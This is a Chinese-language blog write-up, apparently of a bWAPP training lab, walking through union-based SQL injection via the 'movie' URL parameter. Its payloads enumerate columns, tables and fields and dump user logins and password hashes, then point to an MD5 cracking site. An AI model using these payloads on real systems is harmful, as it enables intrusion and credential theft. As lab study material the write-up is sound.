SQL Injection (GET/Select)

选项点一点,观察URL,只有movie的值在变化,和GET/Search中的title应该是一样的

 

 

看看类型

http://192.168.3.95/bWAPP/sqli_2.php?movie=-1 or 1=1 &action=go

1.查字段数

http://192.168.3.95/bWAPP/sqli_2.php?movie=1 order by 7 &action=go

2.查看可显示字段

http://192.168.3.95/bWAPP/sqli_2.php?movie=-1 union select 1,2,3,4,5,6,7 &action=go

2,3,4,5为可显示字段

 3.爆库

http://192.168.3.95/bWAPP/sqli_2.php?movie=-1 union select 1,database(),3,4,5,6,7 &action=go

库名:bWAPP

4.爆表

http://192.168.3.95/bWAPP/sqli_2.php?movie=-1 union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database() &action=go

发现只爆出来1个表

 用group_concat()把表都拼接起来

http://192.168.3.95/bWAPP/sqli_2.php?movie=-1 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database() &action=go

这次有5个表了,我们要用users

 5.爆字段

http://192.168.3.95/bWAPP/sqli_2.php?movie=-1 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema=database() and table_name='users'&action=go

我们要用 login 和 password

 6.爆字段内容

http://192.168.3.95/bWAPP/sqli_2.php?movie=-1 union select 1,group_concat(login),group_concat(password),4,5,6,7 from bWAPP.users &action=go

2个

 7.MD5解密https://www.cmd5.com/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值